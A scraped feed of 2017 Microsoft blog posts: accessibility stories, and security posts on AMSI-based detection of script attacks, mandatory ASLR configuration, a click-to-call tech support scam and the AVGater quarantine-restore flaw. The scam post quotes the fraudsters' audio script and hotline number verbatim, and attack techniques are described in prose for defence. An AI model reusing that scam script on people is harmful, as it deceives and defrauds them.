Lastly, let’s talk about Smart Cities. It's not just the everyday users who need to be able to find cutting edge accessibility features, we need to consider how accessibility features are woven into the fabric of our cities. Microsoft is proud to be a sponsor of the Smart Cities for All initiative (SC4A.) This year, we helped G3ict and World Enabled launch the SC4A toolkit to help cities around the world learn to be more inclusive and use innovative technologies to benefit persons with disabilities and older persons. Since then, we’ve supported the award-winning initiative in Smart City dialogues and events in Quito, New York City, Barcelona, San Francisco, London, Rio de Janeiro, Puebla, and Buenos Aires. All the goodness is wrapped into a toolkit, which is available in eight languages to help cities meet their inclusion goals.

Disability is a Strength

As I’ve said many times, disability is a strength. It’s a strength for each of us with a disability and it’s a strength for Microsoft. Each one of these features and policies has been built with and for people with disabilities, often leveraging the talent in our Disability Employee Resource Groups (ERGs) or hired through our inclusive hiring programs, such as our Autism Hiring Program. However, we cannot change the staggering unemployment rate for people with disabilities on our own, we need to work together across organizations, industries and borders. That is why we recently joined together with other organizations, including SAP, EY, DXC Technology, Ford Motor Company, JPMorgan Chase & Co. and more, to participate in the USBLN Autism @ Work Employer Roundtable, where learning and guidance is shared with other businesses looking to change or adopt inclusive hiring practices at their company.

It’s your questions and calls to Disability Answer Desk that keep us grounded, focused and prioritized in what we tackle next. So please keep the feedback coming. Know that our hope -- our goal -- is that by building inclusively, by ensuring that these features are just easily to find and use, they will empower more work, home and play. We want to ultimately change the statistics.

Be sure to visit the United Nations International Day of Persons with Disabilities website to learn what you can do to make a difference for people with disabilities around the world.

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/12/04/idpd2017/feed/0
Windows Defender ATP machine learning and AMSI: Unearthing script-based attacks that ‘live off the land’https://blogs.technet.microsoft.com/mmpc/2017/12/04/windows-defender-atp-machine-learning-and-amsi-unearthing-script-based-attacks-that-live-off-the-land/Mon, 04 Dec 2017 14:00:51 +0000https://blogs.technet.microsoft.com/mmpc/?p=16866Data center

Scripts are becoming the weapon of choice of sophisticated activity groups responsible for targeted attacks as well as malware authors who indiscriminately deploy commodity threats.

Scripting engines such as JavaScript, VBScript, and PowerShell offer tremendous benefits to attackers. They run through legitimate processes and are perfect tools for “living off the land”—staying away from the disk and using common tools to run code directly in memory. Often part of the operating system, scripting engines can evaluate and execute content from the internet on-the-fly. Furthermore, integration with popular apps make them effective vehicles for delivering malicious implants through social engineering as evidenced by the increasing use of scripts in spam campaigns.

Malicious scripts are not only used as delivery mechanisms. We see them in various stages of the kill chain, including during lateral movement and while establishing persistence. During these latter stages, the scripting engine of choice is clearly PowerShell—the de facto scripting standard for administrative tasks on Windows—with the ability to invoke system APIs and access a variety of system classes and objects.

While the availability of powerful scripting engines makes scripts convenient tools, the dynamic nature of scripts allows attackers to easily evade analysis and detection by antimalware and similar endpoint protection products. Scripts are easily obfuscated and can be loaded on-demand from a remote site or a key in the registry, posing detection challenges that are far from trivial.

Windows 10 provides optics into script behavior through Antimalware Scan Interface (AMSI), a generic, open interface that enables Windows Defender Antivirus to look at script contents the same way script interpreters do—in a form that is both unencrypted and unobfuscated. In Windows 10 Fall Creators Update, with knowledge from years analyzing script-based malware, we’ve added deep behavioral instrumentation to the Windows script interpreter itself, enabling it to capture system interactions originating from scripts. AMSI makes this detailed interaction information available to registered AMSI providers, such as Windows Defender Antivirus, enabling these providers to perform further inspection and vetting of runtime script execution content.

This unparalleled visibility into script behavior is capitalized further through other Windows 10 Fall Creators Update enhancements in both Windows Defender Antivirus and Windows Defender Advanced Threat Protection (Windows Defender ATP). Both solutions make use of powerful machine learning algorithms that process the improved optics, with Windows Defender Antivirus delivering enhanced blocking of malicious scripts pre-breach and Windows Defender ATP providing effective behavior-based alerting for malicious post-breach script activity.

In this blog, we explore how Windows Defender ATP, in particular, makes use of AMSI inspection data to surface complex and evasive script-based attacks. We look at advanced attacks perpetrated by the highly skilled KRYPTON activity group and explore how commodity malware like Kovter abuses PowerShell to leave little to no trace of malicious activity on disk. From there, we look at how Windows Defender ATP machine learning systems make use of enhanced insight about script characteristics and behaviors to deliver vastly improved detection capabilities.

KRYPTON: Highlighting the resilience of script-based attacks

Traditional approaches for detecting potential breaches are quite file-centric. Incident responders often triage autostart entries, sorting out suspicious files by prevalence or unusual name-folder combinations. With modern attacks moving closer towards being completely fileless, it is crucial to have additional sensors at relevant choke points.

Apart from not having files on disk, modern script-based attacks often store encrypted malicious content separately from the decryption key. In addition, the final key often undergoes multiple processes before it is used to decode the actual payload, making it is impossible to make a determination based on a single file without tracking the actual invocation of the script. Even a perfect script emulator would fail this task.

For example, the activity group KRYPTON has been observed hijacking or creating scheduled tasks—they often target system tasks found in exclusion lists of popular forensic tools like Autoruns for Windows. KRYPTON stores the unique decryption key within the parameters of the scheduled task, leaving the actual payload content encrypted.

To illustrate KRYPTON attacks, we look at a tainted Microsoft Word document identified by John Lambert and the Office 365 Advanced Threat Protection team.

KRYPTON lure document

Figure 1. KRYPTON lure document

To live off the land, KRYPTON doesn’t drop or carry over any traditional malicious binaries that typically trigger antimalware alerts. Instead, the lure document contains macros and uses the Windows Scripting Host (wscript.exe) to execute a JavaScript payload. This script payload executes only with the right RC4 decryption key, which is, as expected, stored as an argument in a scheduled task. Because it can only be triggered with the correct key introduced in the right order, the script payload is resilient against automated sandbox detonations and even manual inspection.

KRYPTON script execution chain through wscript.exe

Figure 2. KRYPTON script execution chain through wscript.exe

Exposing actual script behavior with AMSI

AMSI overcomes KRYPTON’s evasion mechanisms by capturing JavaScript API calls after they have been decrypted and ready to be executed by the script interpreter. The screenshot below shows part of the exposed content from the KRYPTON attack as captured by AMSI.

Part of the KRYPTON script payload captured by AMSI and sent to the cloud for analysis

Figure 3. Part of the KRYPTON script payload captured by AMSI and sent to the cloud for analysis

By checking the captured script behavior against indicators of attack (IoAs) built up by human experts as well as machine learning algorithms, Windows Defender ATP effortlessly flags the KRYPTON scripts as malicious. At the same time, Windows Defender ATP provides meaningful contextual information, including how the script is triggered by a malicious Word document.

Windows Defender ATP machine learning detection of KRYPTON script captured by AMSI

Figure 4. Windows Defender ATP machine learning detection of KRYPTON script captured by AMSI

PowerShell use by Kovter and other commodity malware

Not only advanced activity groups like KRYPTON are shifting from binary executables to evasive scripts. In the commodity space, Kovter malware uses several processes to eventually execute its malicious payload. This payload resides in a PowerShell script decoded by a JavaScript (executed by wscript.exe) and passed to powershell.exe as an environment variable.

Windows Defender ATP machine learning alert for the execution of the Kovter script-based payload

Figure 5. Windows Defender ATP machine learning alert for the execution of the Kovter script-based payload

By looking at the PowerShell payload content captured by AMSI, experienced analysts can easily spot similarities to PowerSploit, a publicly available set of penetration testing modules. While such attack techniques involve file-based components, they remain extremely hard to detect using traditional methods because malicious activities occur only in memory. Such behavior, however, is effortlessly detected by Windows Defender ATP using machine learning that combines detailed AMSI signals with signals generated by PowerShell activity in general.

Part of the Kovter script payload captured by AMSI and sent to the cloud for analysis

Figure 6. Part of the Kovter script payload captured by AMSI and sent to the cloud for analysis

Fresh machine learning insight with AMSI

While AMSI provides rich information from captured script content, the highly variant nature of malicious scripts continues to make them challenging targets for detection. To efficiently extract and identify new traits differentiating malicious scripts from benign ones, Windows Defender ATP employs advanced machine learning methods.

As outlined in our previous blog, we employ a supervised machine learning classifier to identify breach activity. We build training sets based on malicious behaviors observed in the wild and normal activities on typical machines, augmenting that with data from controlled detonations of malicious artifacts. The diagram below conceptually shows how we capture malicious behaviors in the form of process trees.

Process tree augmented by instrumentation for AMSI data

Figure 7. Process tree augmented by instrumentation for AMSI data

As shown in the process tree, the kill chain begins with a malicious document that causes Microsoft Word (winword.exe) to launch PowerShell (powershell.exe). In turn, PowerShell executes a heavily obfuscated script that drops and executes the malware fhjUQ72.tmp, which then obtains persistence by adding a run key to the registry. From the process tree, our machine learning systems can extract a variety of features to build expert classifiers for areas like registry modification and file creation, which are then converted into numeric scores that are used to decide whether to raise alerts.

With the instrumentation of AMSI signals added as part of the Windows 10 Fall Creators Update (version 1709), Windows Defender ATP machine learning algorithms can now make use of insight into the unobfuscated script content while continually referencing machine state changes associated with process activity. We’ve also built a variety of script-based models that inspect the nature of executed scripts, such as the count of obfuscation layers, entropy, obfuscation features, ngrams, and specific API invocations, to name a few.

As AMSI peels off the obfuscation layers, Windows Defender ATP benefits from growing visibility and insight into API calls, variable names, and patterns in the general structure of malicious scripts. And while AMSI data helps improve human expert knowledge and their ability to train learning systems, our deep neural networks automatically learn features that are often hidden from human analysts.

Machine-learning detections of JavaScript and PowerShell scripts

Figure 8. Machine learning detections of JavaScript and PowerShell scripts

While these new script-based machine learning models augment our expert classifiers, we also correlate new results with other behavioral information. For example, Windows Defender ATP correlates the detection of suspicious script contents from AMSI with other proximate behaviors, such as network connections. This contextual information is provided to SecOps personnel, helping them respond to incidents efficiently.

Machine learning combines VBScript content from AMSI and tracked network activity

Figure 9. Machine learning combines VBScript content from AMSI and tracked network activity

Detection of AMSI bypass attempts

With AMSI providing powerful insight into malicious script activity, attacks are more likely to incorporate AMSI bypass mechanisms that we group into three categories:

  • Bypasses that are part of the script content and can be inspected and alerted on
  • Tampering with the AMSI sensor infrastructure, which might involve the replacement of system files or manipulation of the load order of relevant DLLs
  • Patching of AMSI instrumentation in memory

The Windows Defender ATP research team proactively develops anti-tampering mechanisms for all our sensors. We have devised heuristic alerts for possible manipulation of our optics, designing these alerts so that they are triggered in the cloud before the bypass can suppress them.

During actual attacks involving CVE-2017-8759, Windows Defender ATP not only detected malicious post-exploitation scripting activity but also detected attempts to bypass AMSI using code similar to one identified by Matt Graeber.

Windows Defender ATP alert based on AMSI bypass pattern

Figure 10. Windows Defender ATP alert based on AMSI bypass pattern

AMSI itself captured the following bypass code for analysis in the Windows Defender ATP cloud.

AMSI bypass code sent to the cloud for analysis

Figure 11. AMSI bypass code sent to the cloud for analysis

Conclusion: Windows Defender ATP machine learning and AMSI provide revolutionary defense against highly evasive script-based attacks

Provided as an open interface on Windows 10, Antimalware Scan Interface delivers powerful optics into malicious activity hidden in encrypted and obfuscated scripts that are oftentimes never written to disk. Such evasive use of scripts is becoming commonplace and is being employed by both highly skilled activity groups and authors of commodity malware.

AMSI captures malicious script behavior by looking at script content as it is interpreted, without having to check physical files or being hindered by obfuscation, encryption, or polymorphism. At the endpoint, AMSI benefits local scanners, providing the necessary optics so that even obfuscated and encrypted scripts can be inspected for malicious content. Windows Defender Antivirus, specifically, utilizes AMSI to dynamically inspect and block scripts responsible for dropping all kinds of malicious payloads, including ransomware and banking trojans.

With Windows 10 Fall Creators Update (1709), newly added script runtime instrumentation provides unparalleled visibility into script behaviors despite obfuscation. Windows Defender Antivirus uses this treasure trove of behavioral information about malicious scripts to deliver pre-breach protection at runtime. To deliver post-breach defense, Windows Defender ATP uses advanced machine learning systems to draw deeper insight from this data.

Apart from looking at specific activities and patterns of activities, new machine learning algorithms in Windows Defender ATP look at script obfuscation layers, API invocation patterns, and other features that can be used to efficiently identify malicious scripts heuristically. Windows Defender ATP also correlates script-based indicators with other proximate activities, so it can deliver even richer contextual information about suspected breaches.

To benefit from the new script runtime instrumentation and other powerful security enhancements like Windows Defender Exploit Guard, customers are encourage to install Windows 10 Fall Creators Update.

Read the The Total Economic Impact of Microsoft Windows Defender Advanced Threat Protection from Forrester to understand the significant cost savings and business benefits enabled by Windows Defender ATP. To directly experience how Windows Defender ATP can help your enterprise detect, investigate, and respond to advance attacks, sign up for a free trial.

 

Stefan Sellmer, Windows Defender ATP Research

with

Shay Kels, Windows Defender ATP Research

Karthik Selvaraj, Windows Defender Research

 

Additional readings

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @WDSecurity and Facebook Microsoft Malware Protection Center

]]>
Inclusion in action: Steve uses technology to access printed materials in a crisishttps://blogs.msdn.microsoft.com/accessibility/2017/11/27/inclusion-in-action-steve/Mon, 27 Nov 2017 17:00:41 +0000https://blogs.msdn.microsoft.com/accessibility/?p=3995Today, we’re excited to introduce you to Steve. He is a father who is blind and managed a medical crisis involving his young daughter, with OneNote and Office Lens by his side to make printed materials accessible. His is the final story in our Inclusion in action series announced last month, highlighting how accessible technologies enable transformative change.

Here’s his story.

When fourteen-year-old Gabby Sawczyn had a seizure, her parents were shocked and concerned. They needed to take command of the situation and do everything in their power to ensure she was receiving the best care possible.

Her dad, Steve, said it was a very scary time not only for Gabby, but also for himself, his wife, Jen, and his seventeen-year-old son, Marcus.

“We didn’t have time to prepare. We didn’t have time to organize: we just had to go.”

Gabby would spend two weeks in the ICU. Meanwhile, Gabby’s mom stayed with her in the hospital throughout the duration of her illness, while Steve went back and forth between work and the hospital.

“We had lots of information coming at us from many directions. Doctors were providing written materials," said Steve.

As a blind person, Steve needed to access those written materials. Fortunately, as someone who has worked in the accessibility field for over twenty years, Steve knew he could leverage Office 365 accessibility tools.

“Having immediate access to information, regardless of format, really helped me to feel more in control and helped me to feel like I was on top of things.“

Using Office Lens Steve could quickly scan printed information and add it to a dedicated notebook in OneNote that he and his sighted wife both used to organize and share critical information. They had tabs for articles regarding her condition, charts to track medications and they used it to monitor insurance paperwork and medical bills.

Office Lens

Steve Sawczyn used Office Lens and OneNote to have information in print read aloud to him and stored online.

“I couldn’t be happier about what OneNote has enabled me to be able to accomplish, and I think that by making it accessible and by making it usable by all, what Microsoft has done is opened up limitless possibilities to people, regardless of whether they're a student, professional, or anyone else.”

Steve says that the world of accessibility has advanced by leaps and bounds since his childhood, when he often had to wait days for school assignments to be translated into Braille. He fondly recalls one teacher in particular who exposed him to the power of computing.

“My teacher had gone to a conference and had heard about these talking computers and she thought that if I were to get one, this could really be a game changer for me in terms of being able to remain mainstream throughout my school career. So she lobbied and somehow was able to get funding for equipment and it launched me on a path that has kept me interested and engaged in technology ever since.”

Steve using a keyboard

Steve uses a computer with a screen reader and a keyboard.

Steve currently writes a blog about assistive technologies, and advocates for mainstreaming those technologies in the workplace.

As for his daughter, Gabby is back in high school and doing well.

Visit aka.ms/InclusionInAction to discover more stories of people pushing the boundaries of productivity and inclusion with Microsoft technologies.

]]>
Clarifying the behavior of mandatory ASLR https://blogs.technet.microsoft.com/srd/2017/11/21/clarifying-the-behavior-of-mandatory-aslr/https://blogs.technet.microsoft.com/srd/2017/11/21/clarifying-the-behavior-of-mandatory-aslr/#respondTue, 21 Nov 2017 17:27:24 +0000https://blogs.technet.microsoft.com/srd/?p=4565Last week, the CERT/CC published an advisory describing some unexpected behavior they observed when enabling system-wide mandatory Address Space Layout Randomization (ASLR) using Windows Defender Exploit Guard (WDEG) and EMET on Windows 8 and above. In this blog post, we will explain the configuration issue that CERT/CC encountered and describe work arounds to enable the desired behavior. In short, ASLR is working as intended and the configuration issue described by CERT/CC only affects applications where the EXE does not already opt-in to ASLR. The configuration issue is not a vulnerability, does not create additional risk, and does not weaken the existing security posture of applications. 

The briefest of histories: mandatory and bottom-up ASLR 

In a previous blog post we explained how ASLR works on Windows. The vast majority of this explanation still holds true through the latest version of Windows 10 (1709). In the interest of brevity, we’ll focus on the details that are relevant to the behavior observed by CERT/CC: 

  1. Randomization of EXEs/DLLs is opt-in. EXEs/DLLs tell the operating system they are compatible with ASLR by linking with the /DYNAMICBASE flag. This flag has been enabled by default since Visual Studio 2010. The opt-in model was an intentional choice to avoid non-trivial compatibility issues with existing applications. 
  2. Mandatory ASLR can be used to forcibly rebase EXEs/DLLs that have not opted in. In Windows 8, we introduced operating system support for forcing EXEs/DLLs to be rebased at runtime if they did not opt-in to ASLR. This mitigation can be enabled system-wide or on a per-process basis. It works by forcing a base address conflict at the time that a non-ASLR EXE/DLL is mapped. When this occurs, the new base address of the EXE/DLL is selected by searching for a free region starting from the bottom of the address space. 
  3. Bottom-up randomization provides entropy for bottom-up allocations. In Windows 8, we also introduced opt-in support for bottom-up randomization which adds entropy to the base address selected for allocations that search for a free region starting from the bottom of the address space (e.g. EXEs/DLLs rebased due to mandatory ASLR). This provides implicit biasing of all bottom-up allocations and can be enabled system-wide or on a per-process basis. 
  4. Bottom-up randomization is enabled by default only if the process EXE opts in to ASLR. This is for compatibility reasons as applications whose EXE did not opt-in to ASLR (via /DYNAMICBASE) do not necessarily expect their address space layout to change from one execution to the next.  

The following table attempts to make this easier to understand by considering the behavior of ASLR in different configurations for a given process: 

The behavior that CERT/CC observed

A consequence of the above is that the entropy of images rebased by mandatory ASLR is inherently reliant on bottom-up randomization being enabled for the process. However, bottom-up randomization is not automatically enabled for process when the process EXE does not opt-in to ASLR (as highlighted in yellow in the table above). This means that bottom-up randomization must also be enabled for entropy to be applied to images that are rebased by mandatory ASLR. In practice, this issue only affects scenarios where an administrator is intentionally attempting to enable mandatory ASLR for a process that would otherwise not fully benefit from ASLR.

CERT/CC did identify an issue with the configuration interface of Windows Defender Exploit Guard (WDEG) that currently prevents system-wide enablement of bottom-up randomization. The WDEG team is actively investigating this and will address the issue accordingly. Similarly, EMET does not support enabling bottom-up randomization system-wide and therefore cannot directly configure this setting.

Fortunately, there are workarounds available for this configuration issue.

Workarounds

There are two workarounds for those who would like to enable mandatory ASLR and bottom-up randomization for processes whose EXE did not opt-in to ASLR. As with all non-default configuration, these changes may introduce application compatibility issues and care should be taken to validate that applications work as expected.

  1. Directly enabling mandatory ASLR and bottom-up randomization via the system-wide registry value.
    Saving the following into optin.reg and importing it will enable mandatory ASLR and bottom-up randomization system-wide. This is the same registry value that WDEG and EMET modify through their configuration user interfaces.

  • Windows Registry Editor Version 5.00
    
    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel] 
    "MitigationOptions"=hex:00,01,01,00,00,00,00,00,00,00,00,00,00,00,00,00
    
    Note, applying this registry file will override any other mitigations that have been applied system-wide. To retain the existing settings, the MitigationOptions registry value can be manually edited such that the 2nd byte is set to ?1 (where ? retains its value, e.g. 01) and the 3rd byte is set to ?1. The second byte corresponds to mandatory ASLR and the third byte corresponds to bottom-up ASLR.
  1. Enabling mandatory ASLR and bottom-up randomization via program-specific configuration using WDEG or EMET. 
  • From WDEG, mitigations can be enabled on a per-program basis using the user interface or command line tools as described here. Enabling force randomization for images (mandatory ASLR) and randomize memory allocations (bottom-up ASLR) will enable the expected behavior as shown below:

Why did this work differently with EMET on Windows 7?

One of the noteworthy observations that CERT/CC made is that enabling system-wide mandatory ASLR via EMET on Windows 7 does not exhibit the behavior described above. Instead, processes whose EXE did not opt-in to bottom-up ASLR are still observed to be randomized. The reason for this is that EMET on Windows 7 enabled mandatory ASLR using a different setting versus what is now used on Windows 8 and above.

The setting that EMET uses on Windows 7 results in all images being treated as if opted-in to ASLR (e.g. as if they were linked with /DYNAMICBASE). As a consequence, bottom-up randomization of stacks and heaps is implicitly enabled for all processes as a side effect of them being treated as if they had opted-in to ASLR and the images themselves are randomized just like other ASLR images. This differs from the behavior of mandatory ASLR because mandatory ASLR forcibly rebases images and does not treat them as if they had opted into to ASLR.

The setting used by EMET on Windows 7 is not recommended and is intentionally hidden by default due to the application compatibility risk associated with it. EMET users must expose this setting by navigating to EMET’s Advanced options as described here.

Wrapping up

In summary, the behavior of mandatory ASLR that CERT/CC observed is by design and ASLR is working as intended. The WDEG team is investigating the configuration issue that prevents system-wide enablement of bottom-up ASLR and is working to address it accordingly. This issue does not create additional risk as it only occurs when attempting to apply a non-default configuration to existing versions of Windows. Even then, the effective security posture is no worse than what is provided by default and it is straightforward to work around the issue through the steps described in this post.

Matt Miller

Microsoft Security Response Center (MSRC)

 

]]>
https://blogs.technet.microsoft.com/srd/2017/11/21/clarifying-the-behavior-of-mandatory-aslr/feed/0
Inclusion in action: Jack shows students what’s possible with Office 365, a screen reader and a keyboardhttps://blogs.msdn.microsoft.com/accessibility/2017/11/20/inclusion-in-action-jack/Mon, 20 Nov 2017 17:00:28 +0000https://blogs.msdn.microsoft.com/accessibility/?p=3987Today, we meet Jack Mendez, an instructor, at the Louisiana Center for the Blind. Jack shows his students the full power of technology, and teaches them about the accessibility features and capabilities in Office 365 and Windows 10. Jack's story is part of our Inclusion in action series announced last month, highlighting how accessible technologies enable transformative change.

Here’s his story.

When a sighted person walks into Jack Mendez’s classroom, one of the first things they notice is a workstation without a screen. For Jack, this is a striking example how far assistive technology has advanced.

“I have a computer without a screen, and that’s intentional because I want people to understand that all you need is a keyboard and some headphones.” said Jack. “You can produce and consume content and use the computer and navigate just with the screen reader and your keyboard.”

A man who is blind walking

Jack Mendez is the Director of Technology at the Louisiana Center for the Blind.

As the Director of Technology at the Louisiana Center for the Blind, Jack is in charge of the school’s IT systems and the software used to prepare students for life outside of school.

When you enter his classroom, you discover a flurry of activity. Jack deployed Office 365 on all the school's workstations. "It's the best that’s out there. If you find something better, let me know.”

Students manage their calendars and access email through Outlook. They use OneNote to take notes and access them across multiple devices.

Jack is a big advocate for the use of Office 365 built-in accessibility checker to make content more inclusive, saying,

“It's just something that it makes sense to click on. It takes a second, and a lot of times for most recommendations that the tool produces, it's like a five-second fix.”

If students want to know how to perform a task in Word, Excel, or PowerPoint, they use Office 365’s Tell Me feature and ask how it's done. The answers are quickly provided.

For Jack, these accessible technologies are a game changer for him and his students.

"I can now open up Excel or PowerPoint or Word and I can produce content that someone across the world would look at and never know a blind person had a role in that production. It be just as appealing, just as in-depth as anything else someone with no disabilities could have produced."

Jack says that students want to come to the school for technology classes because they see how productive you can be if you have good training and understand how the tools work.

“My hope for all of my students is that they're able to use technology to make their lives better. Many of them go on to college. A lot of them start working. Some of them already have careers and they're using this time to enhance their ability to be more independent at their current job.”

In addition to working with students, Jack shows companies the ways that accessible technologies can enable them to expand their workforce and employ more people with disabilities, like blindness.

During a recent demonstration he did for some local bankers generating a visual presentation on a computer without a screen, he opened up Office and started producing a document.

"I wrote some things, I changed some fonts, I saved the document all using the keyboard, all without a screen.”

Desk view

Jack uses a computer without a screen to create visual content.

Since that demonstration, some of his students have earned employment with those same bankers.

Jack serves as an example of how to personalize and maximize the use of technology. He says he was always curious as a child. When he got in touch with computers, he realized this meant even more stuff to explore.

During a routine visit to his dentist at age 15, Jack overheard staff talking about a problem with the computer. When he told the dentist he could fix it, the dentist hesitated before he gave him a chance. Jack repaired the computer and earned $500. The dentist then recommended him for other jobs, and that was the birth of his career in IT.

Jack’s hopes that accessible technologies become a given in the future, which he believes will make life and business better for everyone.

“When I'm able to help a business understand that when you make a hiring decision with someone who's had good training that they're going to help the entire company," he said.

As for teaching? “It’s about helping a student understand what’s possible.”

Visit aka.ms/InclusionInAction to discover more stories of people pushing the boundaries of productivity and inclusion with Microsoft technologies.

]]>
New tech support scam launches communication or phone call apphttps://blogs.technet.microsoft.com/mmpc/2017/11/20/new-tech-support-scam-launches-communication-or-phone-call-app/Mon, 20 Nov 2017 13:59:34 +0000https://blogs.technet.microsoft.com/mmpc/?p=16735A new tech support scam technique streamlines the entire scam experience, leaving potential victims only one click or tap away from speaking with a scammer. We recently found a new tech support scam website that opens your default communication or phone call app, automatically prompting you to call a fake tech support scam hotline.

 

Figure 1. Tech support scam page launching the default communication app with the fake hotline 001-844-441-4490 ready to be dialed

Most tech support scams rely on social engineering: They use fake error messages to trick users into calling hotlines and paying for unnecessary tech support services that supposedly fix contrived device, platform, or software problems.

To create the impression of a “problem”, tech support scam websites attempt to lock the browser. Some do this using pop-up or dialog loops—they embed malicious code in web pages that cause browsers to continuously display alerts. When the user dismisses an alert, the malicious code invokes another one, essentially locking the browser session.

Most browsers, including Microsoft Edge and Internet Explorer, have released a solution for this behavior, allowing users to stop websites from serving dialog pop-ups. Browsers now can also be closed even with an active dialog box.

Figure 2. Microsoft Edge prompting the user to stop a pop-up dialog loop

This streamlined tech support scam forgoes the use of dialog boxes and instead contains code that has a click-to-call link that it automatically clicks.

Figure 3. Click-to-call code in tech support scam website

When clicked, the link opens the default communication or phone call app, prompting the user to call the fake technical support hotline already prepopulated in the app.

Tech support scam website targets Apple users

With click-to-call links, tech support scams do not have to be as elaborate as many current tech support scam websites. They don’t have to rely on scary messages or pose as legitimate error messages to convince victims to call the phone number.

 

 

Figure 4. Recent tech support scam websites with various fake error messages and phone numbers

Instead, scam sites can be very simple, with just a fake hotline number and a simple message like “We’re here to help”, as is used by the actual scam page below.

Figure 5. Tech support scam website before the communication app is launched

Although the page is simple, the scam is aided by an audio file that automatically plays as the website is displayed. This is a common technique used by the Techbrolo family of support scam script malware. The audio message in this new tech support scam website says:

Critical alert from Apple support. Your mac has alerted us that your system is infected with viruses, spywares, and pornwares. These viruses are sending your credit card details, Facebook logins, and personal emails to hackers remotely. Please call us immediately on the toll-free number listed so that our support engineers can walk you through the removal process over the phone. If you close this window before calling us, we will be forced to disable and suspend your Mac device to prevent further damage to our network. Error number 268D3.

Click-to-call optimized for mobile phones

The audio message is characteristic of tech support scams in its use of scare tactics. However, this technique seems to be optimized for mobile phones. The website uses responsive design, and the click-to-call can directly launch the phone function on smart phones.

Figure 6. Tech support scam website launches the phone call app on a mobile phone

This goes to show that the threat of tech support scams affects users of various platforms, devices, and software.

Tech support scam template

Tech support scams heavily use templates so that they can reuse websites to launch campaigns using multiple hotline numbers. Based on our tracking of tech support scams campaigns and methods, we know that scammers frequently change the phone numbers they use. In the August-September timeframe, for example, 33% of tech support scam numbers were used in campaigns that lasted less than a day.

The hotline number on a tech support scam template can be altered simply by swapping out the phone number set as parameter in the URL. The phone number in the URL is displayed in the fake error message on the page and/or the dialog boxes. Most tech support scam templates we’ve seen have a default phone number that is displayed when there is no phone number in the parameter.

Figure 7. A sample tech support scam template used with several phone numbers

The new tech support scam website also uses this method. However, unlike other scam sites, it doesn’t have a default number.

Figure 8. The tech support scam with click-to-call link with no phone number

As of this writing, we’re not seeing widespread campaigns using this new and emerging tech support scam technique. But because the website accepts URL parameters, we can assume it is being sold as a service in the cybercriminal underground. We did find that the website doesn’t validate the parameters, so technically any number can be passed as the phone number, and it can be automatically used by this tech support scam site.

Microsoft solutions for tech support scams

We have been tracking tech support scams, and the click-to-call technique is just the latest innovation from scammers. Unfortunately, this is probably not the last we’ve seen of these threats.

However, at the core, tech support scams are a social engineering attack. Legitimate error and warning messages don’t include a phone number. On the other hand, legitimate technical support websites don’t use scary error messages to convince users to call. In this example, users can avoid being scammed simply by not proceeding with the call. In general, if a site automatically launches your calling app, it is likely malicious. Don’t press Send—you might end up being charged for calls or you might fall victim to a bigger scam once you talk to the criminals behind the scam site.

To help Windows 10 users stay safe from tech support scams, Microsoft Edge blocks tech support scam websites. It uses Windows Defender SmartScreen (also used by Internet Explorer) to block tech support scams and other malicious websites, including phishing sites and sites that host malicious downloads.

Windows Defender Antivirus detects and blocks tech support scam malware and other threats. It leverages protection from the cloud, helping ensure customers are protected from the latest threats in real-time.

 

 

Jonathan San Jose
Windows Defender Research team

 

 

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

]]>
Microsoft’s Seeing AI app now available in Australia, Ireland and UKhttps://blogs.msdn.microsoft.com/accessibility/2017/11/15/microsofts-seeing-ai-app-available-in-uk-and-australia/https://blogs.msdn.microsoft.com/accessibility/2017/11/15/microsofts-seeing-ai-app-available-in-uk-and-australia/#commentsWed, 15 Nov 2017 16:00:21 +0000https://blogs.msdn.microsoft.com/accessibility/?p=4076Microsoft’s Seeing AI app, which helps people who are blind and partially sighted by narrating the world around them, is now available for free download to people in Australia, Ireland and the UK via the Apple iOS store.

Seeing AI is designed to help people who are blind or have visual impairments use artificial intelligence to recognize objects, people and text via a phone or tablet’s camera and describes them.

The app is now available for iOS devices in the Australia, Ireland and the UK, after being released in the United States, Canada, India, Hong Kong, New Zealand and Singapore earlier this year.

You can read more about Seeing AI via Microsoft News Centre Australia or Microsoft News Centre UK.

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/11/15/microsofts-seeing-ai-app-available-in-uk-and-australia/feed/1
November 2017 security update releasehttps://blogs.technet.microsoft.com/msrc/2017/11/14/november-2017-security-update-release/https://blogs.technet.microsoft.com/msrc/2017/11/14/november-2017-security-update-release/#respondTue, 14 Nov 2017 18:00:01 +0000https://blogs.technet.microsoft.com/msrc/?p=3216Today, we released security updates to provide additional protections against malicious attackers. By default, Windows 10 receives these updates automatically, and for customers running previous versions, we recommend they turn on automatic updates as a best practice.

More information about this month's security updates can be found in the Security Update Guide.

]]>
https://blogs.technet.microsoft.com/msrc/2017/11/14/november-2017-security-update-release/feed/0
#AVGater vulnerability does not affect Windows Defender Antivirus, MSE, or SCEPhttps://blogs.technet.microsoft.com/mmpc/2017/11/13/avgater-vulnerability-does-not-affect-windows-defender-antivirus/Tue, 14 Nov 2017 05:31:11 +0000https://blogs.technet.microsoft.com/mmpc/?p=16715On November 10, 2017, a vulnerability called #AVGater was discovered affecting some antivirus products. The vulnerability requires a non-administrator-level account to perform a restore of a quarantined file.

Windows Defender Antivirus and other Microsoft antimalware products, including System Center Endpoint Protection (SCEP) and Microsoft Security Essentials (MSE), are not affected by this vulnerability.

This vulnerability can be exploited to restore files that have been detected and quarantined by an antivirus product. To exploit this, malicious applications, including those launched by user-level accounts without administrator privileges, create an NTFS junction from the %System% folder to folder where the quarantined file is located. This NTFS junction can trigger the antivirus product to attempt to restore the file into the %System% folder.

This is a relatively old attack vector. By design, Microsoft antimalware products, including Windows Defender Antivirus, have never been affected by this vulnerability because it does not permit applications launched by user-level accounts to restore files from quarantine. This is part of the built-in protections against this and other known user-account permissions vulnerabilities.

Read more about Windows Defender Antivirus and the rest of our Windows Defender protection products at the following links:

 

*Edited 11/17/2017 to include other Microsoft antimalware products

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

 

]]>
